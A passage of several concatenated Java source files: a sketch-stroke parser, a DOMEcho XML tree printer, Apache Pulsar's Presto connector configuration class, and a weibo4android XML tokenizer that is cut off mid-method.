isUserCreated = (Boolean) shapeObject.get(SHAPE_ISUSERCREATED);
shape.setIsUserCreated(isUserCreated);
}
final List<DBObject> shapeInterpretations = (List<DBObject>) shapeObject.get(SHAPE_INTERPS);
final List<Sketch.SrlInterpretation> interpretations = new ArrayList<Sketch.SrlInterpretation>();
for (DBObject shapeInterpretation : shapeInterpretations) {
final Sketch.SrlInterpretation interpretation = parseInterpretation(shapeInterpretation);
interpretations.add(interpretation);
}
shape.addAllInterpretations(interpretations);
final List<DBObject> shapeSubComponents = (List<DBObject>) shapeObject.get(SHAPE_SUBCOMPONENTS);
final List<Sketch.SrlObject> subComponents = new ArrayList<Sketch.SrlObject>();
for (DBObject subComponent : shapeSubComponents) {
final Sketch.SrlObject srlObject = parseObject(subComponent);
subComponents.add(srlObject);
}
shape.addAllSubComponents(subComponents);
return shape.build();
}
@Override
public Sketch.SrlStroke parseStroke(final DBObject strokeObject) {
final Sketch.SrlStroke.Builder stroke = Sketch.SrlStroke.newBuilder();
final String strokeId = (String) strokeObject.get(STROKE_ID);
final long time = (long) strokeObject.get(STROKE_TIME);
String name = null;
if (((DBObject) strokeObject).containsField(STROKE_NAME)) {
name = (String) strokeObject.get(STROKE_NAME);
stroke.setName(name);
}
final List<DBObject> pointObjects = (List<DBObject>) strokeObject.get(STROKE_POINTS);
final List<Sketch.SrlPoint> points = new ArrayList<Sketch.SrlPoint>();
for (DBObject pointObject: pointObjects) {
final Sketch.SrlPoint point = parsePoint(pointObject);
points.add(point);
}
stroke.setId(strokeId).setTime(time).addAllPoints(points);
return stroke.build();
}
@Override
public Sketch.SrlPoint parsePoint(final DBObject pointObject) {
final Sketch.SrlPoint.Builder point = Sketch.SrlPoint.newBuilder();
final String pointId = (String) pointObject.get(POINT_ID);
final long pointTime = (long) pointObject.get(POINT_TIME);
final double x = (double) pointObject.get(POINT_X);
final double y = (double) pointObject.get(POINT_Y);
String name = null;
Double pressure = null, size = null, speed = null;
if (((DBObject) pointObject).containsField(POINT_NAME)) {
name = (String) pointObject.get(POINT_NAME);
point.setName(name);
}
if (((DBObject) pointObject).containsField(POINT_PRESSURE)) {
pressure = (Double) pointObject.get(POINT_PRESSURE);
point.setPressure(pressure);
}
if (((DBObject) pointObject).containsField(POINT_SIZE)) {
size = (Double) pointObject.get(POINT_SIZE);
point.setSize(size);
}
if (((DBObject) pointObject).containsField(POINT_SPEED)) {
speed = (Double) pointObject.get(POINT_SPEED);
point.setSpeed(speed);
}
point.setId(pointId).setTime(pointTime).setX(x).setY(y);
return point.build();
}
}
| |
package com.bgu.lang.xml;
import java.io.File;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.DocumentType;
import org.w3c.dom.Entity;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;
/**
* Document Object Model
*/
public class DOMEcho {
static final String outputEncoding = "UTF-8";
/** Output goes here */
private PrintWriter out;
/** Indent level */
private int indent = 0;
/** Indentation will be in multiples of basicIndent */
private final String basicIndent = " ";
/** Constants used for JAXP 1.2 */
static final String JAXP_SCHEMA_LANGUAGE = "http://java.sun.com/xml/jaxp/properties/schemaLanguage";
static final String W3C_XML_SCHEMA = "http://www.w3.org/2001/XMLSchema";
static final String JAXP_SCHEMA_SOURCE = "http://java.sun.com/xml/jaxp/properties/schemaSource";
DOMEcho(final PrintWriter out) {
this.out = out;
}
/**
* Echo common attributes of a DOM2 Node and terminate output with an EOL character.
*/
private void printlnCommon(final Node n) {
out.print(" nodeName=\"" + n.getNodeName() + "\"");
String val = n.getNamespaceURI();
if (val != null) {
out.print(" uri=\"" + val + "\"");
}
val = n.getPrefix();
if (val != null) {
out.print(" pre=\"" + val + "\"");
}
val = n.getLocalName();
if (val != null) {
out.print(" local=\"" + val + "\"");
}
val = n.getNodeValue();
if (val != null) {
out.print(" nodeValue=");
if (val.trim().equals("")) {
// Whitespace
out.print("[WS]");
} else {
out.print("\"" + n.getNodeValue() + "\"");
}
}
out.println();
}
/**
* Indent to the current level in multiples of basicIndent
*/
private void outputIndentation() {
for (int i = 0; i < indent; i++) {
out.print(basicIndent);
}
}
/**
* Recursive routine to print out DOM tree nodes
*/
private void echo(final Node n) {
// Indent to the current level before printing anything
outputIndentation();
int type = n.getNodeType();
switch (type) {
case Node.ATTRIBUTE_NODE:
out.print("ATTR:");
printlnCommon(n);
break;
case Node.CDATA_SECTION_NODE:
out.print("CDATA:");
printlnCommon(n);
break;
case Node.COMMENT_NODE:
out.print("COMM:");
printlnCommon(n);
break;
case Node.DOCUMENT_FRAGMENT_NODE:
out.print("DOC_FRAG:");
printlnCommon(n);
break;
case Node.DOCUMENT_NODE:
out.print("DOC:");
printlnCommon(n);
break;
case Node.DOCUMENT_TYPE_NODE:
out.print("DOC_TYPE:");
printlnCommon(n);
// Print entities if any
NamedNodeMap nodeMap = ((DocumentType) n).getEntities();
indent += 2;
for (int i = 0; i < nodeMap.getLength(); i++) {
Entity entity = (Entity) nodeMap.item(i);
echo(entity);
}
indent -= 2;
break;
case Node.ELEMENT_NODE:
out.print("ELEM:");
printlnCommon(n);
// Print attributes if any. Note: element attributes are not
// children of ELEMENT_NODEs but are properties of their
// associated ELEMENT_NODE. For this reason, they are printed
// with 2x the indent level to indicate this.
NamedNodeMap atts = n.getAttributes();
indent += 2;
for (int i = 0; i < atts.getLength(); i++) {
Node att = atts.item(i);
echo(att);
}
indent -= 2;
break;
case Node.ENTITY_NODE:
out.print("ENT:");
printlnCommon(n);
break;
case Node.ENTITY_REFERENCE_NODE:
out.print("ENT_REF:");
printlnCommon(n);
break;
case Node.NOTATION_NODE:
out.print("NOTATION:");
printlnCommon(n);
break;
case Node.PROCESSING_INSTRUCTION_NODE:
out.print("PROC_INST:");
printlnCommon(n);
break;
case Node.TEXT_NODE:
out.print("TEXT:");
printlnCommon(n);
break;
default:
out.print("UNSUPPORTED NODE: " + type);
printlnCommon(n);
break;
}
// Print children if any
indent++;
for (Node child = n.getFirstChild(); child != null; child = child.getNextSibling()) {
echo(child);
}
indent--;
}
private static void usage() {
System.err.println("Usage: DOMEcho [-options] <file.xml>");
System.err.println(" -dtd = DTD validation");
System.err.println(" -xsd | -xsdss <file.xsd> = W3C XML Schema validation using xsi: hints");
System.err.println(" in instance document or schema source <file.xsd>");
System.err.println(" -ws = do not create element content whitespace nodes");
System.err.println(" -co[mments] = do not create comment nodes");
System.err.println(" -cd[ata] = put CDATA into Text nodes");
System.err.println(" -e[ntity-ref] = create EntityReference nodes");
System.err.println(" -usage or -help = this message");
System.exit(1);
}
public static void main(final String[] args) throws Exception {
String filename = DOMEcho.class.getResource("personal-schema.xml").getFile();
testDOMParse(new String[] { filename });
}
private static void testDOMParse(final String[] args) throws Exception {
String filename = null;
boolean dtdValidate = false;
boolean xsdValidate = false;
String schemaSource = null;
boolean ignoreWhitespace = false;
boolean ignoreComments = false;
boolean putCDATAIntoText = false;
boolean createEntityRefs = false;
for (int i = 0; i < args.length; i++) {
if (args[i].equals("-dtd")) {
dtdValidate = true;
} else if (args[i].equals("-xsd")) {
xsdValidate = true;
} else if (args[i].equals("-xsdss")) {
if (i == args.length - 1) {
usage();
}
xsdValidate = true;
schemaSource = args[++i];
} else if (args[i].equals("-ws")) {
ignoreWhitespace = true;
} else if (args[i].startsWith("-co")) {
ignoreComments = true;
} else if (args[i].startsWith("-cd")) {
putCDATAIntoText = true;
} else if (args[i].startsWith("-e")) {
createEntityRefs = true;
} else if (args[i].equals("-usage")) {
usage();
} else if (args[i].equals("-help")) {
usage();
} else {
filename = args[i];
// Must be last arg
if (i != args.length - 1) {
usage();
}
}
}
if (filename == null) {
usage();
}
// Step 1: create a DocumentBuilderFactory and configure it
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Set namespaceAware to true to get a DOM Level 2 tree with nodes
// containing namesapce information. This is necessary because the
// default value from JAXP 1.0 was defined to be false.
dbf.setNamespaceAware(true);
// Set the validation mode to either: no validation, DTD
// validation, or XSD validation
dbf.setValidating(dtdValidate || xsdValidate);
if (xsdValidate) {
try {
dbf.setAttribute(JAXP_SCHEMA_LANGUAGE, W3C_XML_SCHEMA);
} catch (IllegalArgumentException x) {
// This can happen if the parser does not support JAXP 1.2
System.err.println("Error: JAXP DocumentBuilderFactory attribute not recognized: "
+ JAXP_SCHEMA_LANGUAGE);
System.err.println("Check to see if parser conforms to JAXP 1.2 spec.");
System.exit(1);
}
}
// Set the schema source, if any. See the JAXP 1.2 maintenance
// update specification for more complex usages of this feature.
if (schemaSource != null) {
dbf.setAttribute(JAXP_SCHEMA_SOURCE, new File(schemaSource));
}
// Optional: set various configuration options
dbf.setIgnoringComments(ignoreComments);
dbf.setIgnoringElementContentWhitespace(ignoreWhitespace);
dbf.setCoalescing(putCDATAIntoText);
// The opposite of creating entity ref nodes is expanding them inline
dbf.setExpandEntityReferences(!createEntityRefs);
// Step 2: create a DocumentBuilder that satisfies the constraints
// specified by the DocumentBuilderFactory
DocumentBuilder db = dbf.newDocumentBuilder();
// Set an ErrorHandler before parsing
OutputStreamWriter errorWriter = new OutputStreamWriter(System.err, outputEncoding);
db.setErrorHandler(new MyErrorHandler(new PrintWriter(errorWriter, true)));
// Step 3: parse the input file
Document doc = db.parse(new File(filename));
// Print out the DOM tree
OutputStreamWriter outWriter = new OutputStreamWriter(System.out, outputEncoding);
new DOMEcho(new PrintWriter(outWriter, true)).echo(doc);
}
// Error handler to report errors and warnings
private static class MyErrorHandler implements ErrorHandler {
/** Error handler output goes here */
private PrintWriter out;
MyErrorHandler(final PrintWriter out) {
this.out = out;
}
/**
* Returns a string describing parse exception details
*/
private String getParseExceptionInfo(final SAXParseException spe) {
String systemId = spe.getSystemId();
if (systemId == null) {
systemId = "null";
}
String info = "URI=" + systemId + " Line=" + spe.getLineNumber() + ": " + spe.getMessage();
return info;
}
// The following methods are standard SAX ErrorHandler methods.
// See SAX documentation for more info.
@Override
public void warning(final SAXParseException spe) throws SAXException {
out.println("Warning: " + getParseExceptionInfo(spe));
}
@Override
public void error(final SAXParseException spe) throws SAXException {
String message = "Error: " + getParseExceptionInfo(spe);
throw new SAXException(message);
}
@Override
public void fatalError(final SAXParseException spe) throws SAXException {
String message = "Fatal Error: " + getParseExceptionInfo(spe);
throw new SAXException(message);
}
}
}
| |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.pulsar.sql.presto;
import com.fasterxml.jackson.databind.ObjectMapper;
import io.airlift.configuration.Config;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.regex.Matcher;
import javax.validation.constraints.NotNull;
import javax.ws.rs.client.ClientBuilder;
import org.apache.bookkeeper.stats.NullStatsProvider;
import org.apache.commons.lang3.StringUtils;
import org.apache.pulsar.client.admin.PulsarAdmin;
import org.apache.pulsar.client.admin.PulsarAdminBuilder;
import org.apache.pulsar.client.api.PulsarClientException;
import org.apache.pulsar.common.naming.NamedEntity;
import org.apache.pulsar.common.nar.NarClassLoader;
import org.apache.pulsar.common.policies.data.OffloadPolicies;
import org.apache.pulsar.common.protocol.Commands;
/**
* This object handles configuration of the Pulsar connector for the Presto engine.
*/
public class PulsarConnectorConfig implements AutoCloseable {
private String brokerServiceUrl = "http://localhost:8080";
private String webServiceUrl = ""; //leave empty
private String zookeeperUri = "localhost:2181";
private int entryReadBatchSize = 100;
private int targetNumSplits = 2;
private int maxSplitMessageQueueSize = 10000;
private int maxSplitEntryQueueSize = 1000;
private long maxSplitQueueSizeBytes = -1;
private int maxMessageSize = Commands.DEFAULT_MAX_MESSAGE_SIZE;
private String statsProvider = NullStatsProvider.class.getName();
private Map<String, String> statsProviderConfigs = new HashMap<>();
private String authPluginClassName;
private String authParams;
private String tlsTrustCertsFilePath;
private Boolean tlsAllowInsecureConnection;
private Boolean tlsHostnameVerificationEnable;
private boolean namespaceDelimiterRewriteEnable = false;
private String rewriteNamespaceDelimiter = "/";
// --- Ledger Offloading ---
private String managedLedgerOffloadDriver = null;
private int managedLedgerOffloadMaxThreads = 2;
private String offloadersDirectory = "./offloaders";
private Map<String, String> offloaderProperties = new HashMap<>();
private PulsarAdmin pulsarAdmin;
// --- Bookkeeper
private int bookkeeperThrottleValue = 0;
private int bookkeeperNumIOThreads = 2 * Runtime.getRuntime().availableProcessors();
private int bookkeeperNumWorkerThreads = Runtime.getRuntime().availableProcessors();
private boolean bookkeeperUseV2Protocol = true;
private int bookkeeperExplicitInterval = 0;
// --- ManagedLedger
private long managedLedgerCacheSizeMB = 0L;
private int managedLedgerNumWorkerThreads = Runtime.getRuntime().availableProcessors();
private int managedLedgerNumSchedulerThreads = Runtime.getRuntime().availableProcessors();
// --- Nar extraction
private String narExtractionDirectory = NarClassLoader.DEFAULT_NAR_EXTRACTION_DIR;
@NotNull
public String getBrokerServiceUrl() {
if (StringUtils.isEmpty(webServiceUrl)){
return brokerServiceUrl;
} else {
return getWebServiceUrl();
}
}
@Config("pulsar.broker-service-url")
public PulsarConnectorConfig setBrokerServiceUrl(String brokerServiceUrl) {
this.brokerServiceUrl = brokerServiceUrl;
return this;
}
@Config("pulsar.web-service-url")
public PulsarConnectorConfig setWebServiceUrl(String webServiceUrl) {
this.webServiceUrl = webServiceUrl;
return this;
}
public String getWebServiceUrl() {
return webServiceUrl;
}
@Config("pulsar.max-message-size")
public PulsarConnectorConfig setMaxMessageSize(int maxMessageSize) {
this.maxMessageSize = maxMessageSize;
return this;
}
public int getMaxMessageSize() {
return this.maxMessageSize;
}
@NotNull
public String getZookeeperUri() {
return this.zookeeperUri;
}
@Config("pulsar.zookeeper-uri")
public PulsarConnectorConfig setZookeeperUri(String zookeeperUri) {
this.zookeeperUri = zookeeperUri;
return this;
}
@NotNull
public int getMaxEntryReadBatchSize() {
return this.entryReadBatchSize;
}
@Config("pulsar.max-entry-read-batch-size")
public PulsarConnectorConfig setMaxEntryReadBatchSize(int batchSize) {
this.entryReadBatchSize = batchSize;
return this;
}
@NotNull
public int getTargetNumSplits() {
return this.targetNumSplits;
}
@Config("pulsar.target-num-splits")
public PulsarConnectorConfig setTargetNumSplits(int targetNumSplits) {
this.targetNumSplits = targetNumSplits;
return this;
}
@NotNull
public int getMaxSplitMessageQueueSize() {
return this.maxSplitMessageQueueSize;
}
@Config("pulsar.max-split-message-queue-size")
public PulsarConnectorConfig setMaxSplitMessageQueueSize(int maxSplitMessageQueueSize) {
this.maxSplitMessageQueueSize = maxSplitMessageQueueSize;
return this;
}
@NotNull
public int getMaxSplitEntryQueueSize() {
return this.maxSplitEntryQueueSize;
}
@Config("pulsar.max-split-entry-queue-size")
public PulsarConnectorConfig setMaxSplitEntryQueueSize(int maxSplitEntryQueueSize) {
this.maxSplitEntryQueueSize = maxSplitEntryQueueSize;
return this;
}
@NotNull
public long getMaxSplitQueueSizeBytes() {
return this.maxSplitQueueSizeBytes;
}
@Config("pulsar.max-split-queue-cache-size")
public PulsarConnectorConfig setMaxSplitQueueSizeBytes(long maxSplitQueueSizeBytes) {
this.maxSplitQueueSizeBytes = maxSplitQueueSizeBytes;
return this;
}
@NotNull
public String getStatsProvider() {
return statsProvider;
}
@Config("pulsar.stats-provider")
public PulsarConnectorConfig setStatsProvider(String statsProvider) {
this.statsProvider = statsProvider;
return this;
}
@NotNull
public Map<String, String> getStatsProviderConfigs() {
return statsProviderConfigs;
}
@Config("pulsar.stats-provider-configs")
public PulsarConnectorConfig setStatsProviderConfigs(String statsProviderConfigs) throws IOException {
this.statsProviderConfigs = new ObjectMapper().readValue(statsProviderConfigs, Map.class);
return this;
}
public String getRewriteNamespaceDelimiter() {
return rewriteNamespaceDelimiter;
}
@Config("pulsar.rewrite-namespace-delimiter")
public PulsarConnectorConfig setRewriteNamespaceDelimiter(String rewriteNamespaceDelimiter) {
Matcher m = NamedEntity.NAMED_ENTITY_PATTERN.matcher(rewriteNamespaceDelimiter);
if (m.matches()) {
throw new IllegalArgumentException(
"Can't use " + rewriteNamespaceDelimiter + "as delimiter, "
+ "because delimiter must contain characters which name of namespace not allowed"
);
}
this.rewriteNamespaceDelimiter = rewriteNamespaceDelimiter;
return this;
}
public boolean getNamespaceDelimiterRewriteEnable() {
return namespaceDelimiterRewriteEnable;
}
@Config("pulsar.namespace-delimiter-rewrite-enable")
public PulsarConnectorConfig setNamespaceDelimiterRewriteEnable(boolean namespaceDelimiterRewriteEnable) {
this.namespaceDelimiterRewriteEnable = namespaceDelimiterRewriteEnable;
return this;
}
// --- Ledger Offloading ---
public int getManagedLedgerOffloadMaxThreads() {
return this.managedLedgerOffloadMaxThreads;
}
@Config("pulsar.managed-ledger-offload-max-threads")
public PulsarConnectorConfig setManagedLedgerOffloadMaxThreads(int managedLedgerOffloadMaxThreads)
throws IOException {
this.managedLedgerOffloadMaxThreads = managedLedgerOffloadMaxThreads;
return this;
}
public String getManagedLedgerOffloadDriver() {
return this.managedLedgerOffloadDriver;
}
@Config("pulsar.managed-ledger-offload-driver")
public PulsarConnectorConfig setManagedLedgerOffloadDriver(String managedLedgerOffloadDriver) throws IOException {
this.managedLedgerOffloadDriver = managedLedgerOffloadDriver;
return this;
}
public String getOffloadersDirectory() {
return this.offloadersDirectory;
}
@Config("pulsar.offloaders-directory")
public PulsarConnectorConfig setOffloadersDirectory(String offloadersDirectory) throws IOException {
this.offloadersDirectory = offloadersDirectory;
return this;
}
public Map<String, String> getOffloaderProperties() {
return this.offloaderProperties;
}
@Config("pulsar.offloader-properties")
public PulsarConnectorConfig setOffloaderProperties(String offloaderProperties) throws IOException {
this.offloaderProperties = new ObjectMapper().readValue(offloaderProperties, Map.class);
return this;
}
// --- Authentication ---
public String getAuthPlugin() {
return this.authPluginClassName;
}
@Config("pulsar.auth-plugin")
public PulsarConnectorConfig setAuthPlugin(String authPluginClassName) throws IOException {
this.authPluginClassName = authPluginClassName;
return this;
}
public String getAuthParams() {
return this.authParams;
}
@Config("pulsar.auth-params")
public PulsarConnectorConfig setAuthParams(String authParams) throws IOException {
this.authParams = authParams;
return this;
}
public Boolean isTlsAllowInsecureConnection() {
return tlsAllowInsecureConnection;
}
@Config("pulsar.tls-allow-insecure-connection")
public PulsarConnectorConfig setTlsAllowInsecureConnection(boolean tlsAllowInsecureConnection) {
this.tlsAllowInsecureConnection = tlsAllowInsecureConnection;
return this;
}
public Boolean isTlsHostnameVerificationEnable() {
return tlsHostnameVerificationEnable;
}
@Config("pulsar.tls-hostname-verification-enable")
public PulsarConnectorConfig setTlsHostnameVerificationEnable(boolean tlsHostnameVerificationEnable) {
this.tlsHostnameVerificationEnable = tlsHostnameVerificationEnable;
return this;
}
public String getTlsTrustCertsFilePath() {
return tlsTrustCertsFilePath;
}
@Config("pulsar.tls-trust-cert-file-path")
public PulsarConnectorConfig setTlsTrustCertsFilePath(String tlsTrustCertsFilePath) {
this.tlsTrustCertsFilePath = tlsTrustCertsFilePath;
return this;
}
// --- Bookkeeper Config ---
public int getBookkeeperThrottleValue() {
return bookkeeperThrottleValue;
}
@Config("pulsar.bookkeeper-throttle-value")
public PulsarConnectorConfig setBookkeeperThrottleValue(int bookkeeperThrottleValue) {
this.bookkeeperThrottleValue = bookkeeperThrottleValue;
return this;
}
public int getBookkeeperNumIOThreads() {
return bookkeeperNumIOThreads;
}
@Config("pulsar.bookkeeper-num-io-threads")
public PulsarConnectorConfig setBookkeeperNumIOThreads(int bookkeeperNumIOThreads) {
this.bookkeeperNumIOThreads = bookkeeperNumIOThreads;
return this;
}
public int getBookkeeperNumWorkerThreads() {
return bookkeeperNumWorkerThreads;
}
@Config("pulsar.bookkeeper-num-worker-threads")
public PulsarConnectorConfig setBookkeeperNumWorkerThreads(int bookkeeperNumWorkerThreads) {
this.bookkeeperNumWorkerThreads = bookkeeperNumWorkerThreads;
return this;
}
public boolean getBookkeeperUseV2Protocol() {
return bookkeeperUseV2Protocol;
}
@Config("pulsar.bookkeeper-use-v2-protocol")
public PulsarConnectorConfig setBookkeeperUseV2Protocol(boolean bookkeeperUseV2Protocol) {
this.bookkeeperUseV2Protocol = bookkeeperUseV2Protocol;
return this;
}
public int getBookkeeperExplicitInterval() {
return bookkeeperExplicitInterval;
}
@Config("pulsar.bookkeeper-explicit-interval")
public PulsarConnectorConfig setBookkeeperExplicitInterval(int bookkeeperExplicitInterval) {
this.bookkeeperExplicitInterval = bookkeeperExplicitInterval;
return this;
}
// --- ManagedLedger
public long getManagedLedgerCacheSizeMB() {
return managedLedgerCacheSizeMB;
}
@Config("pulsar.managed-ledger-cache-size-MB")
public PulsarConnectorConfig setManagedLedgerCacheSizeMB(int managedLedgerCacheSizeMB) {
this.managedLedgerCacheSizeMB = managedLedgerCacheSizeMB * 1024 * 1024;
return this;
}
public int getManagedLedgerNumWorkerThreads() {
return managedLedgerNumWorkerThreads;
}
@Config("pulsar.managed-ledger-num-worker-threads")
public PulsarConnectorConfig setManagedLedgerNumWorkerThreads(int managedLedgerNumWorkerThreads) {
this.managedLedgerNumWorkerThreads = managedLedgerNumWorkerThreads;
return this;
}
public int getManagedLedgerNumSchedulerThreads() {
return managedLedgerNumSchedulerThreads;
}
@Config("pulsar.managed-ledger-num-scheduler-threads")
public PulsarConnectorConfig setManagedLedgerNumSchedulerThreads(int managedLedgerNumSchedulerThreads) {
this.managedLedgerNumSchedulerThreads = managedLedgerNumSchedulerThreads;
return this;
}
// --- Nar extraction config
public String getNarExtractionDirectory() {
return narExtractionDirectory;
}
@Config("pulsar.nar-extraction-directory")
public PulsarConnectorConfig setNarExtractionDirectory(String narExtractionDirectory) {
this.narExtractionDirectory = narExtractionDirectory;
return this;
}
@NotNull
public PulsarAdmin getPulsarAdmin() throws PulsarClientException {
if (this.pulsarAdmin == null) {
PulsarAdminBuilder builder = PulsarAdmin.builder();
if (getAuthPlugin() != null) {
builder.authentication(getAuthPlugin(), getAuthParams());
}
if (isTlsAllowInsecureConnection() != null) {
builder.allowTlsInsecureConnection(isTlsAllowInsecureConnection());
}
if (isTlsHostnameVerificationEnable() != null) {
builder.enableTlsHostnameVerification(isTlsHostnameVerificationEnable());
}
if (getTlsTrustCertsFilePath() != null) {
builder.tlsTrustCertsFilePath(getTlsTrustCertsFilePath());
}
builder.setContextClassLoader(ClientBuilder.class.getClassLoader());
this.pulsarAdmin = builder.serviceHttpUrl(getBrokerServiceUrl()).build();
}
return this.pulsarAdmin;
}
public OffloadPolicies getOffloadPolices() {
Properties offloadProperties = new Properties();
offloadProperties.putAll(getOffloaderProperties());
OffloadPolicies offloadPolicies = OffloadPolicies.create(offloadProperties);
offloadPolicies.setManagedLedgerOffloadDriver(getManagedLedgerOffloadDriver());
offloadPolicies.setManagedLedgerOffloadMaxThreads(getManagedLedgerOffloadMaxThreads());
offloadPolicies.setOffloadersDirectory(getOffloadersDirectory());
return offloadPolicies;
}
@Override
public void close() throws Exception {
this.pulsarAdmin.close();
}
@Override
public String toString() {
if (StringUtils.isEmpty(webServiceUrl)){
return "PulsarConnectorConfig{"
+ "brokerServiceUrl='" + brokerServiceUrl + '\''
+ '}';
} else {
return "PulsarConnectorConfig{"
+ "brokerServiceUrl='" + webServiceUrl + '\''
+ '}';
}
}
}
| |
package weibo4android.org.json;
/*
Copyright (c) 2002 JSON.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The Software shall be used for Good, not Evil.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
public class XMLTokener extends JSONTokener {
/**
* The table of entity values. It initially contains Character values for
* amp, apos, gt, lt, quot.
*/
public static final java.util.HashMap entity;
static {
entity = new java.util.HashMap(8);
entity.put("amp", XML.AMP);
entity.put("apos", XML.APOS);
entity.put("gt", XML.GT);
entity.put("lt", XML.LT);
entity.put("quot", XML.QUOT);
}
/**
* Construct an XMLTokener from a string.
*
* @param s A source string.
*/
public XMLTokener(String s) {
super(s);
}
/**
* Get the text in the CDATA block.
*
* @return The string up to the <code>]]></code>.
* @throws JSONException If the <code>]]></code> is not found.
*/
public String nextCDATA() throws JSONException {
char c;
int i;
StringBuffer sb = new StringBuffer();
for (;;) {
c = next();
if (c == 0) {
throw syntaxError("Unclosed CDATA");
}
sb.append(c);
i = sb.length() - 3;
if (i >= 0 && sb.charAt(i) == ']' &&
sb.charAt(i + 1) == ']' && sb.charAt(i + 2) == '>') {
sb.setLength(i);
return sb.toString();
}
}
}
/**
* Get the next XML outer token, trimming whitespace. There are two kinds
* of tokens: the '<' character which begins a markup tag, and the content
* text between markup tags.
*
* @return A string, or a '<' Character, or null if there is no more
* source text.
* @throws JSONException
*/
public Object nextContent() throws JSONException {
char c;
StringBuffer sb;
do {
c = next();
} while (Character.isWhitespace(c));
if (c == 0) {
return null;
}
if (c == '<') {
return XML.LT;
}
sb = new StringBuffer();
for (;;) {
if (c == '<' || c == 0) {
back();
return sb.toString().trim();
}
if (c == '&') {
sb.append(nextEntity(c));
} else {
sb.append(c);
}
c = next();
}
}
/**
* Return the next entity. These entities are translated to Characters:
* <code>& ' > < "</code>.
*
* @param a An ampersand character.
* @return A Character or an entity String if the entity is not recognized.
* @throws JSONException If missing ';' in XML entity.
*/
public Object nextEntity(char a) throws JSONException {
StringBuffer sb = new StringBuffer();
for (;;) {
char c = next();
if (Character.isLetterOrDigit(c) || c == '#') {
sb.append(Character.toLowerCase(c));
} else if (c == ';') {
break;
} else {
throw syntaxError("Missing ';' in XML entity: &" + sb);
}
}
String s = sb.toString();
Object e = entity.get(s);
return e != null ? e : a + s + ";";
}
/**
* Returns the next XML meta token. This is used for skipping over <!...>
* and <?...?> structures.
*
* @return Syntax characters (<code>< > / = ! ?</code>) are returned as
* Character, and strings and names are returned as Boolean. We
* don't care what the values actually are.
* @throws JSONException If a string is not properly closed or if the XML is
* badly structured.
*/
public Object nextMeta() throws JSONException {
char c;
char q;
do {
c = next();
} while (Character.isWhitespace(c));
switch (c) {
case 0:
throw syntaxError("Misshaped meta tag");
case '<':
return XML.LT;
case '>':
return XML.GT;
case '/':
return XML.SLASH;
case '=':
return XML.EQ;
case '!':
return XML.BANG;
case '?':
return XML.QUEST;
case '"':
case '\'':
q = c;
for (;;) {
c = next();
if (c == 0) {
throw syntaxError("Unterminated string");
}
if (c == q) {
return Boolean.TRUE;
}
}
default:
for (;;) {
c = next();
if (Character.isWhitespace(c)) {
return Boolean.TRUE;
}
switch (c) {
case 0:
case '<':
case '>':
case '/':
case '=':
case '!':
case '?':
case '"':
case '\'':
back();
return Boolean.TRUE;
}
}
}
}
/**
* Get the next XML Token. These tokens are found inside of angle brackets.
* It may be one of these characters: <code>/ > = ! ?</code> or it may be a
* string wrapped in single quotes or double quotes, or it may be a name.
*
* @return a String or a Character.
* @throws JSONException If the XML is not well formed.
*/
public Object nextToken() throws JSONException {
char c;
char q;
StringBuffer sb;
do {
c = next();
} while (Character.isWhitespace(c));
switch (c) {
case 0:
throw syntaxError("Misshaped element");
case '<':
throw syntaxError("Misplaced '<'");
case '>':
return XML.GT;
case '/':
return XML.SLASH;
case '=':
return XML.EQ;
case '!':
return XML.BANG;
case '?':
return XML.QUEST;
// Quoted string
case '"':
case '\'':
q = c;
sb = new StringBuffer();
for (;;) {
c = next();
if (c == 0) {
throw syntaxError("Unterminated string");
}
if (c == q) {
return sb.toString();
}
if (c == '&') {
sb.append(nextEntity(c));
} else {
sb.append(c);
}
}
default:
// Name
sb = new StringBuffer();
for (;;) {
sb.append(c);
c = next();
if (Character.isWhitespace(c)) {
return sb.toString();
}
switch (c) {
case 0:
return sb.toString();
case '>':
case '/':
case '=':
case '!':
case '?':
case '[':
case ']':
back();
return sb.toString();
case '<':
case '"':
case '\'':
throw syntaxError("Bad character in a name");
}
}
}
}
/**
* Skip characters until past the requested string. If it is not found, we
* are left at the end of the source with a result of false.
*
* @param to A string to skip past.
* @throws JSONException
*/
public boolean skipPast(String to) throws JSONException {
boolean b;
char c;
int i;
int j;
int offset = 0;
int n = to.length();
char[] circle = new char[n];
/*
* First fill the circle buffer with as many characters as are in the to
* string. If we reach an early end, bail.
*/
for (i = 0; i < n; i += 1) {
c = next();
if (c == 0) {
return false;
}
circle[i] = c;
}
/*
* We will loop, possibly for all of the remaining characters.
*/
for (;;) {
j = offset;
b = true;
/*
* Compare the circle buffer with the to string.
*/
